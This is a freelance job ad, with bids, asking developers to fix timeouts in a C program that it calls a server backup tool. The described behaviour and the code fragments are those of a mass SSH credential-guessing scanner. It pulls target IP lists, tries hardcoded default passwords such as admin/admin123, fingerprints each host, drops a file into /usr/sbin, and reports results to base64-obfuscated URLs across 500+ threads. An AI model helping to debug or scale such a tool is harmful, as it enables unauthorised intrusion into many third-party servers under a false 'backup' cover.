Software error


Below attach the source to our program.

It is designed for Linux "redhat, centos, ubuntu, debian, etc". It is a program that logs on our company servers making backup servers.

It was created one year ago, on that time being also tested. At first glance the tools are exactly what we wan,t it all runs very well as long as he tries to

make backup servers on 10-20 servers. When lists of IPs are loaded with more than 3,000 servers somewhere that user program crashes and the whole operation is too slow several times or even stays stuck.

We think somewhere the timeout of the thread is the problem, this is why I attached the source program below to take a look at it and tell us

as quickly as possible if you discover an error in it.

Program Description:

When started it ties to download the list of IPs on the first link = link1, tries the link1 and if the link is valid will randomly download web links from 1-5

a list of IPs.

If link1 is not valid then will try link2 and link3.

e.g.: curl -0 [url removed, login to view]

main.c linea 130

tar -xvf [url removed, login to view]

rm -f [url removed, login to view]

[url removed, login to view] rezult [url removed, login to view]

mv [url removed, login to view] -f /usr/sbin/[url removed, login to view]";

sprintf(cmd, "tar -xvf %s > /dev/null", TMP_CONFIG_PATH);


sprintf(cmd, "rm -f %s > /dev/null", TMP_CONFIG_PATH);


sprintf(cmd, "rm -f %s > /dev/null", IP_FILE);


sprintf(cmd, "mv [url removed, login to view] -f %s > /dev/null", IP_FILE);

char IP_FILE[] = "/usr/sbin/[url removed, login to view]";

Then starts checking the correct username and password.

config.h linea 117

typedef struct string {

char user[200];

char pass[200];

} info;

// 6 pcs

info USERINFO[] = {

{ "admin", "admin123"},

{ "admin", "admin1234"},

{ "admin1", "admin12345"},

{ "admin2", "admin2"},

{ "admin3", "admin3"},

{ "admin0", "admin0"},

It logs with the username and password, if it succeeds and finds the correct password login it will run these commands one by one,

log( "%s : Detected OS : %s\n", addr, OS_LIST[os] );

ssh_channel catVersionChannel = remoteExec(ssh, "cat /proc/version", 0);

ssh_channel unameChannel = remoteExec(ssh, "uname -a", 0);

log( "%s : Detected OS_UNAME2 : %s\n", addr, OS_LIST_UNAME2[os] );

will check and choose the correct words from config.h then upload the backup file on the server and will post the result on

//log for "OS_LIST = cat /etc/issue" and "OS_LIST_UNAME = uname -a"

char POST_URL1[] = "aHR0cDovL2409tL3dwLx1Z2lucy9sMS5waHAK"; // post rezult 1 echo "[url removed, login to view]" | base64

char POST_URL2[] = "aHR0cDovL2FsvcudC9wbHVnaW5zL2wyLnBocAo="; // post rezult 2 echo "[url removed, login to view]" | base64

then will exit and continue with another ip.

The program must open at least 500 threads and run as fast as possible

In the config.h it has two functions for timeout:

#define WAIT_TIMEOUT 15

#define WAIT_TIMEOUT2 15

I want to be checked and I hope only those timeouts to be in the program if there are others, they must be defined in config.h

Very important:

All people who want to work on this project should detail minimum one error found in the source code. Before you ask 100 questions please check the source code

several times to understand in broad lines what makes this program and what are its functions.

[url removed, login to view]

Beceriler: C Programlama, C++ Programlama, Mühendislik, Yazılım Mimarisi, Yazılım Test Etme

Daha fazlasını gör: what to take if you want to be engineering, two string problem, l2, glance net, download dev php, dev software, define system architecture, correct username, correct password, architecture define, debian os, curl software, open source software download, dev software 500, software defined, ProC, net mv, mv, architecture f, ssh net, php curl http code, linux open source tools, centos check php, curl error code, curl config

İşveren Hakkında:
( 0 değerlendirme ) Milano, Italy

Proje NO: #6499154

Bu iş için 12 freelancer ortalamada €526 teklif veriyor


A proposal has not yet been provided

in %bids___i_period_sub_35% gün içinde1030%project_currencyDetails_sign_sub_37% %project_currencyDetails_code_sub_38%
(65 Değerlendirme)

Hello, sir. I have enough experience for your task. I want to work with you. Thanks. Regards.

in %bids___i_period_sub_35% gün içinde736%project_currencyDetails_sign_sub_37% %project_currencyDetails_code_sub_38%
(22 Değerlendirme)

A proposal has not yet been provided

in %bids___i_period_sub_35% gün içinde526%project_currencyDetails_sign_sub_37% %project_currencyDetails_code_sub_38%
(21 Değerlendirme)

Hi, Iam interested in your project and I will be happy to do that for you. I have rich experince in scrapping, curl, regular expressions, Dom and Selenium RC. examples of scrapping work: [login to view URL] trave Daha Fazla

in %bids___i_period_sub_35% gün içinde500%project_currencyDetails_sign_sub_37% %project_currencyDetails_code_sub_38%
(3 Değerlendirme)

Hello Sir, Actually I am software engineer.I have 3 year experienced in software engineering.I have expertise like these skills Java,PHP,Andriod,PDF, Excel and much more..I have ability to do the work with any requir Daha Fazla

in %bids___i_period_sub_35% gün içinde631%project_currencyDetails_sign_sub_37% %project_currencyDetails_code_sub_38%
(9 Değerlendirme)

A proposal has not yet been provided

in %bids___i_period_sub_35% gün içinde555%project_currencyDetails_sign_sub_37% %project_currencyDetails_code_sub_38%
(8 Değerlendirme)

Thanks for posting the ad. I can understand you must be facing a lot of issues due to the application error with your working. I have checked the source code and can surely help you to fix this issue along with a Daha Fazla

in %bids___i_period_sub_35% gün içinde473%project_currencyDetails_sign_sub_37% %project_currencyDetails_code_sub_38%
(1 Yorum)

Hi. I have been analysis your main.c. it takes a time .only one day, please wait for me. Tomorrow I will send you result. Regards.

in %bids___i_period_sub_35% gün içinde277%project_currencyDetails_sign_sub_37% %project_currencyDetails_code_sub_38%
(0 Değerlendirme)

Aucune proposition n'a encore été fournie.

in %bids___i_period_sub_35% gün içinde555%project_currencyDetails_sign_sub_37% %project_currencyDetails_code_sub_38%
(0 Değerlendirme)

- 5 years software development (C, C++, cuda). Windows, Linux. For more details, feel free to contact me.

in %bids___i_period_sub_35% gün içinde555%project_currencyDetails_sign_sub_37% %project_currencyDetails_code_sub_38%
(0 Değerlendirme)

Hello. I've had a quick look at your code and one of your main problems is the use of memory resources. (the fact you stated that it works for small lists but fails for large ones is a simple confirmation of this) T Daha Fazla

in %bids___i_period_sub_35% gün içinde300%project_currencyDetails_sign_sub_37% %project_currencyDetails_code_sub_38%
(0 Değerlendirme)

I have worked for several years as a C, C++ SW developer and I am familiar with working massive legacy code bases for finding faults. This task should be like a walk in the park for me.

in %bids___i_period_sub_35% gün içinde555%project_currencyDetails_sign_sub_37% %project_currencyDetails_code_sub_38%
(0 Değerlendirme)

I have over 3 years of professional experience working in C. Some issues that should be worked on from what I see so far: 1. No mention of any tweaking of OS limits. Things like soft/hard nofile limit may be causi Daha Fazla

in %bids___i_period_sub_35% gün içinde250%project_currencyDetails_sign_sub_37% %project_currencyDetails_code_sub_38%
(0 Değerlendirme)